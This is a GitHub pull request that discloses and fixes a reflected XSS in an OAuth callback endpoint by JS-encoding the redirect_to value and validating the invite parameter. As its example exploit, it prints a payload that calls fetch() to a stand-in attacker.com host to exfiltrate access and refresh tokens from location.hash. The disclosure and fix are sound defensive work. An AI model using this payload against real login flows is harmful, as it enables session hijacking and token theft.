Skip to content

fix(auth): JS-encode redirect_to to prevent XSS in auth_callback#1409

Open
failsafesecurity wants to merge 1 commit into
AgentOps-AI:mainfrom
failsafesecurity:fix/find-001-xss-auth-callback-js-injection
Open

fix(auth): JS-encode redirect_to to prevent XSS in auth_callback#1409
failsafesecurity wants to merge 1 commit into
AgentOps-AI:mainfrom
failsafesecurity:fix/find-001-xss-auth-callback-js-injection

Conversation

@failsafesecurity

Copy link
Copy Markdown

Summary

This PR fixes a Reflected XSS vulnerability in the OAuth callback endpoint (/auth/callback).

Severity: HIGH
CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting)
CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Vulnerability

The /auth/callback endpoint is a public OAuth redirect handler that:

  1. Accepts a user-controlled redirect_to query parameter
  2. Validates it only with startswith(APP_URL) — which does not prevent JavaScript-special characters
  3. Renders it into a <script> block via Jinja2 without JavaScript string encoding (autoescape is disabled)

The template renders:

<script nonce="...">
  window.location.replace('{{ dashboard_url }}');  <!-- unescaped! -->
</script>

An attacker can bypass the startswith check with a URL like:

https://app.agentops.ai');fetch('https://attacker.com/?t='+btoa(location.hash))//

During an OAuth login flow, location.hash contains #access_token=...&refresh_token=..., enabling session token theft via this XSS.

The invite query parameter is equally injectable (it's embedded into the redirect URL without validation before the startswith check is applied).

Fix

  1. app/api/agentops/auth/views.py:

    • Apply json.dumps() to redirect_to before template rendering — this produces a JavaScript-safe quoted string literal with ', ", and other JS-special characters properly escaped
    • Validate the invite parameter with a strict alphanumeric regex before incorporating it into the redirect URL
  2. app/api/agentops/auth/templates/auth_callback.html:

    • Remove the outer single-quotes in window.location.replace('{{ dashboard_url }}') since json.dumps already includes the enclosing quotes

Testing

# Before fix — injected JS executes:
response = client.get("/auth/callback?redirect_to=https://app.agentops.ai');alert(1)//")
assert "');alert(1)//" in response.text  # XSS present

# After fix — injection safely encoded:
response = client.get("/auth/callback?redirect_to=https://app.agentops.ai');alert(1)//")
assert "'" in response.text or "&#x27;" in response.text  # encoded

Reported by FailSafe Security Research. Please contact security@agentops.ai for coordinated disclosure details.

…allback

The auth_callback endpoint reflects the user-supplied redirect_to query
parameter into window.location.replace('...') without JavaScript string
encoding. The startswith(APP_URL) validation does not prevent JS-special
characters like ' ; ) from breaking the string context.

Fix:
- Apply json.dumps() to dashboard_url before template rendering so
  the value is a safe JS string literal with embedded quotes and
  special characters escaped.
- Validate the invite parameter with a strict alphanumeric regex before
  incorporating into the redirect URL.
- Remove outer single-quotes in the template since json.dumps includes them.

Signed-off-by: FailSafe Researcher <joshua@getfailsafe.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants